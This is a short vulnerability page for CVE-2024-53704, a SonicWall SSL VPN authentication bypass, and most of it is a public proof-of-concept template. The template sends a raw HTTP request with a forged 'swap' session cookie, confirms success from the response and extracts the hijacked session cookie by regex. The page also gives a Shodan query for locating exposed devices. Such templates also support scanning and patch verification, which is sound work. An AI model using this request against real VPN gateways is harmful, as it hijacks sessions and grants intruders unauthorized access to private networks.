CVE-2024-53704: SSL VPN Session Hijacking

2025-08-01 SSL VPN PoC Public

Description

An Improper Authentication vulnerability in the SSLVPN authentication mechanism allows a remote attacker to bypass authentication.

PoC

id: CVE-2024-53704

info:
  name: SSL VPN Session Hijacking
  author: johnk3r
  severity: critical
  description: |
    An Improper Authentication vulnerability in the SSLVPN authentication mechanism allows a remote attacker to bypass authentication.
  impact: |
    Unauthenticated attackers can hijack SSL VPN sessions by bypassing authentication mechanisms and gaining unauthorized access to the VPN.
  remediation: |
    Update SonicWall to a version that patches CVE-2024-53704 as specified in PSIRT advisory SNWLID-2025-0003.
  reference:
    - https://bishopfox.com/blog/sonicwall-cve-2024-53704-ssl-vpn-session-hijacking
    - https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2025-0003
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2024-53704
    cwe-id: CWE-287
    epss-score: 0.95132
    epss-percentile: 0.99865
  metadata:
    verified: true
    max-request: 1
    shodan-query: "http.html_hash:-1466805544"
  tags: cve,cve2024,sonicwall,kev,vkev,vuln

http:
  - raw:
      - |
        GET /cgi-bin/sslvpnclient?launchplatform= HTTP/1.1
        Host: {{Hostname}}
        Cookie: swap=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=
        Connection: close

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "NELaunchX1"

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        part: header
        regex:
          - 'Set-Cookie: swap=([a-zA-Z0-9]+);'
# digest: 490a00463044022057b87d0e61344c488d199fb0e54779636a57c8bc1778cdc5a1d8c02d327eb0db022072fc3aac3c3351742c9f12cfeb2189afdc06e1603faefff29f52686b3acf9f99:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

Related Vulnerabilities